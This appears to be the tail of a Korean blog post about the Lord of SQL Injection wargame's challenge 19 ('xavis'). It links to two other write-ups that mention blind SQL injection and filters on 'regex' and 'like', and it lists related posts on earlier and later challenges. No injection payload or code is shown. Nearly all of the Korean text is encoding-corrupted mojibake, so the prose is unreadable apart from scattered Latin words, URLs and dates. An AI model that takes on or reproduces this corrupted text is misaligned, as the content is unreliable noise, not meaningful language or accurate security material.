๋ฌธ์ œ ์†Œ์Šค์ฝ”๋“œ ์ด๋•Œ๊นŒ์ง€ ํ’€์—ˆ๋˜ los ๋ฌธ์ œ ์ค‘ ๊ฐ€์žฅ ๊นŒ๋‹ค๋กญ๊ณ  ์งœ์ฆ ๋‚˜๋Š” ๋ฌธ์ œ์ด๋‹ค. 1. ๋ณ„๋‹ค๋ฅธ ํ•„ํ„ฐ๋ง์€ ์กด์žฌ ํ•˜์ง€ ์•Š๋‹ค. regex, like๋ฅผ ํ•„ํ„ฐ๋งํ•˜๊ณ  ์žˆ๋Š”๋Œ€ ์ผ๋‹จ ์ € 2๊ฐœ๋Š” ์•ˆ ์“ธ ๊ฑฐ๋‹ˆ๊นŒ ๋ฌด์‹œ ์ผ๋‹จ admin pw๏ฟฝ๏ฟฝ

dorahee.tistory.com

whitesnake1004.tistory.com/124

 

[Lord of SQL_injection] #19 xavis

๋ฌธ์ œ๋ฅผ ๋ณด๊ณ  19๋‹จ๊ณ„์ธ๋ฐ ์™œ์ด๋ฆฌ ์‰ฝ์ง€๋ผ๋Š” ์ƒ๊ฐ์ด ๋“ค์—ˆ๋‹ค. ํ•„ํ„ฐ๋ง์€ like์™€ regex๋ฟ์ด๊ณ  ๋˜‘๊ฐ™์€ ํ‰๋ฒ”ํ•œ blind sql injection์ด๋„ค ๋ผ๋Š” ์ƒ๊ฐ์ด ๋“ค์—ˆ๋‹ค. ๊ทธ๋ž˜์„œ ์ €๋Š” ๋ฐ”๋กœ ์ฐธ๊ฐ’์„ ํ™•์ธํ•ด ๋ณด์•˜๋‹ค. ๋ฐ”๋กœ ์ฝ”๋“œ๏ฟฝ๏ฟฝ

whitesnake1004.tistory.com

 

 

์ด์ƒ์ž…๋‹ˆ๋‹ค.. ์™€ ๋ฌธ์ œ ์™„๋ฒฝํžˆ ์ดํ•ดํ•˜๋Š”๋ฐ 2์ผ ๊ฑธ๋ ธ์–ด์š”..^^...

๋” ์—ด์‹ฌํžˆ ํ•ด์•ผ๊ฒ ๋„ค์š”....

 

๋ฐ˜์‘ํ˜•

'Game > los' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

Lord of sql injection [20]  (0) 2020.09.20
Lord of sql injection [18]  (0) 2020.09.14
Lord of sql injection [17]  (0) 2020.09.14
Lord of sql injection [16]  (0) 2020.09.13
Contents

ํฌ์ŠคํŒ… ์ฃผ์†Œ๋ฅผ ๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค

์ด ๊ธ€์ด ๋„์›€์ด ๋˜์—ˆ๋‹ค๋ฉด ๊ณต๊ฐ ๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค.